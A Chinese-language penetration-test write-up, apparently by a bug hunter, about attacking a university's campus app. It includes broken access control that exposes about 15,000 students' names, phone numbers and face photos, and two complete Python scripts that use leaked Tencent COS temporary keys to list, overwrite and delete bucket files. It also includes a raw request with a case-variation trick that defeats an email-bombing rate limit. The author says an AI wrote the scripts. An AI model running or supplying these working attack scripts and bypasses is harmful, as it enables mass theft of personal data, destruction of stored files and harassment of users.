信息收集

首先,通过fofa,hunter信息收集发现了如下资产

https://xxxx.edu.cn:8081

https://xxxx.edu.cn:9443

但是直接访问发现显示路由校验失败

不是显示没有授权、404而是路由校验失败

所以这里猜测如果有了合适的路由大概率就能够正常访问了

于是在这个思路的加持下打算点一下上帝之眼查看具体路径

然后复制全部路径放BP里进行爆破

爆破下发现都是200,我都以为要出货了,没想到访问后显示需要登录(bushi)

随便调了一个URL https://xxxxxx.edu.cn:8081/subpages/admin/home/home

发现显示报错;没辙了只能把接口发给ai做进一步测试

AI果然还是厉害,发现这个路径还隐藏了一个token参数

https://xxxxxxx.edu.cn:8081/subpages/admin/home/home?token=

同时因为这个网站同样也是某APP的HOST

那现在就有思路了,只要我用手机抓包,然后获得COOKIE后再拼接到token后,那不就能做进一步测试了

这里因为这个APP并没有进行虚拟机校验,所以我这里采用的方法是使用小黄鸟和BP联动,能够直接将手机端APP的流量直接导入至Brup中

然后就能愉快的开始抓包了~

漏洞发现

1、越权获取全校学生手机号、姓名、人脸

回到最开始的URL,我们既然获取到了token肯定就能测了,

https://xxxx.xxxx.edu.cn:8081/subpages/admin/home/home?token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.*****************************.k

虽然显示获取失败,但是它都说我是管理员了,我肯定能访问一点接口吧

然后挨个点点发现了在学生信息查询这里

直接查询成功

经过初步测试发现,通过越权能看到整个学校大概1w5同学姓名、手机号、头像

2、存储桶任意文件上传、覆盖、列桶

既然能抓包了肯定得到处看看

在工单提交界面发现了个文件上传的接口

上传一下

wok!出货了

这不就是标准的存储桶临时密钥泄露

火速喊ai搓个脚本然后遍历下

from qcloud_cos import CosConfig, CosS3Client


# =========================
# COS 存储桶配置
# =========================
BUCKET = "sport-88888888"
REGION = "ap-guangzhou"


# =========================
# 临时密钥配置
# 填入你的临时密钥
# =========================
TMP_SECRET_ID = "AKIDHMbIQpWwh*********a4uajnZbYSDH"
TMP_SECRET_KEY = "r7ftHbfJuyrjTR********QnUfaSi1ejtA10="
SESSION_TOKEN = "yw5CienBBXFVR3j73Cz0w********wGq8XhkQ"


def list_bucket(prefix: str = "", max_keys: int = 1000, output_file: str = "cos_urls.txt"):
    config = CosConfig(
        Region=REGION,
        SecretId=TMP_SECRET_ID,
        SecretKey=TMP_SECRET_KEY,
        Token=SESSION_TOKEN,
        Scheme="https"
    )

    client = CosS3Client(config)

    marker = ""
    total = 0

    print(f"[+] Bucket: {BUCKET}")
    print(f"[+] Region: {REGION}")
    print(f"[+] Prefix: {prefix if prefix else '(根目录)'}")
    print(f"[+] URL 输出文件: {output_file}")
    print("=" * 80)

    with open(output_file, "w", encoding="utf-8") as f:
        while True:
            response = client.list_objects(
                Bucket=BUCKET,
                Prefix=prefix,
                Marker=marker,
                MaxKeys=max_keys
            )

            contents = response.get("Contents", [])

            for item in contents:
                key = item.get("Key")
                size = item.get("Size")
                last_modified = item.get("LastModified")
                storage_class = item.get("StorageClass", "")

                total += 1

                url = f"https://{BUCKET}.cos.{REGION}.myqcloud.com/{key}"

                # 控制台输出详情
                print(f"[{total}] {key}")
                print(f"    Size: {size} bytes")
                print(f"    LastModified: {last_modified}")
                print(f"    StorageClass: {storage_class}")
                print(f"    URL: {url}")
                print("-" * 80)

                # 只把 URL 写入 txt,一行一个
                f.write(url + "\n")

            is_truncated = response.get("IsTruncated")

            if is_truncated == "true" or is_truncated is True:
                marker = response.get("NextMarker")
                if not marker:
                    break
            else:
                break

    print(f"[+] 列桶完成,共发现 {total} 个对象")
    print(f"[+] URL 已保存到: {output_file}")


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Tencent COS 临时密钥列桶并导出 URL")

    parser.add_argument(
        "--prefix",
        default="",
        help="只列出指定前缀下的对象,例如 H5_file/、test/、uploads/。默认列根目录"
    )

    parser.add_argument(
        "--max-keys",
        type=int,
        default=1000,
        help="每次请求返回数量,最大通常为 1000"
    )

    parser.add_argument(
        "--output",
        default="cos_urls.txt",
        help="导出的 URL 文件名,默认 cos_urls.txt"
    )

    args = parser.parse_args()

    list_bucket(
        prefix=args.prefix,
        max_keys=args.max_keys,
        output_file=args.output
    )

成功列出44252条存储桶数据

在有了具体的路径,可以通过已知的路径直接进行覆盖,具体的上传脚本如下


# -*- coding: utf-8 -*-

"""
腾讯云 COS 临时密钥文件管理脚本(修复代理版)

修复:
1. 强制关闭 requests 环境代理
2. 禁止 WinHTTP/系统代理影响 COS SDK
3. 打印实际代理配置方便排查
"""

import argparse
import os

# 强制清理环境代理
for k in [
    "HTTP_PROXY",
    "HTTPS_PROXY",
    "http_proxy",
    "https_proxy",
    "ALL_PROXY",
    "all_proxy",
]:
    os.environ.pop(k, None)

from qcloud_cos import CosConfig, CosS3Client


BUCKET = "sport-1******"
REGION = "ap-guangzhou"


TMP_SECRET_ID = "AKIDyZcXif*****Mz2C2nqFeu1f52F9f7oP5bhH6wdNIJO"
TMP_SECRET_KEY = "9mvdJ53Wp2jh******+/QpiHo0eCT7UeRo="
SESSION_TOKEN = "unYwrGxsLBLaj6G******lFBX3WBASrLAsMH44KDwds1snsmjjTNvJWVG96Zyo2H9oTA"



def get_client():

    config = CosConfig(
        Region=REGION,
        SecretId=TMP_SECRET_ID,
        SecretKey=TMP_SECRET_KEY,
        Token=SESSION_TOKEN,
        Scheme="https",
        Proxies={}
    )

    client = CosS3Client(config)

    # 强制 requests 不读取系统代理
    client._session.trust_env = False

    print("[DEBUG] COS Proxy:")
    print(client._conf._proxies)

    return client



def upload_file(local_file, cos_key):

    client = get_client()

    if not os.path.exists(local_file):
        print("[!] 文件不存在:", local_file)
        return

    print("[+] 开始上传")
    print("本地文件:", local_file)
    print("COS路径:", cos_key)

    with open(local_file, "rb") as f:
        response = client.put_object(
            Bucket=BUCKET,
            Body=f,
            Key=cos_key
        )

    print("\n[+] 上传成功")
    print("ETag:", response.get("ETag"))

    url = f"https://{BUCKET}.cos.{REGION}.myqcloud.com/{cos_key}"
    print("URL:")
    print(url)



def delete_file(cos_key):

    client = get_client()

    print("[+] 删除:", cos_key)

    response = client.delete_object(
        Bucket=BUCKET,
        Key=cos_key
    )

    print("[+] 删除完成")
    print(response)



def check_file(cos_key):

    client = get_client()

    try:
        response = client.head_object(
            Bucket=BUCKET,
            Key=cos_key
        )

        print("[+] 文件存在")
        print(response)

    except Exception as e:
        print("[-] 文件不存在")
        print(e)



if __name__ == "__main__":

    parser = argparse.ArgumentParser(
        description="腾讯云 COS 临时密钥上传删除工具"
    )

    sub = parser.add_subparsers(dest="action")


    upload = sub.add_parser("upload")
    upload.add_argument("--file", required=True)
    upload.add_argument("--key", required=True)


    delete = sub.add_parser("delete")
    delete.add_argument("--key", required=True)


    check = sub.add_parser("check")
    check.add_argument("--key", required=True)


    args = parser.parse_args()


    if args.action == "upload":

        upload_file(
            args.file,
            args.key
        )

    elif args.action == "delete":

        delete_file(
            args.key
        )

    elif args.action == "check":

        check_file(
            args.key
        )

    else:
        parser.print_help()

访问可发现上传成功

当我们使用脚本修改a.txt再次上传后

我们能够发现能够成功覆盖

通过该脚本也可以使用delete进行任意文件删除

具体命令如下 python a.py delete --key H5_file/abcsdf.txt

3、短信轰炸

在模拟器安装证书之后,

登录后点击设置---->修改邮箱

输入邮箱然后进行抓包

具体数据包如下

PUT /user/2300130501/ HTTP/1.1
Authorization: ******
user-agent: Mozilla/5.0 (Linux; Android 14; RMX5200 Build/UQ1A.240205.06151050; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/146.0.7680.119 Safari/537.36 uni-app Html5Plus/1.0 (Immersed/24.0)
Content-Type: application/json
Content-Length: 31
Host: *******.edu.cn:9443
Connection: keep-alive
Accept-Encoding: gzip, deflate, br
 
{"email":"【填入邮箱】"}

如果正常发包在第11个数据包会出现500报错,具体报错如下

这里可以构造大小写不同但是发送内容是一致的邮箱进行绕过

比如

A13*****975@163.com
A13*****975@163.COM
a13*****975@163.CoM
a13*****975@163.COm
.....

其中acom均可使用大小写进行绕过,四个可排列组合共16种,可绕过单个邮箱10次限制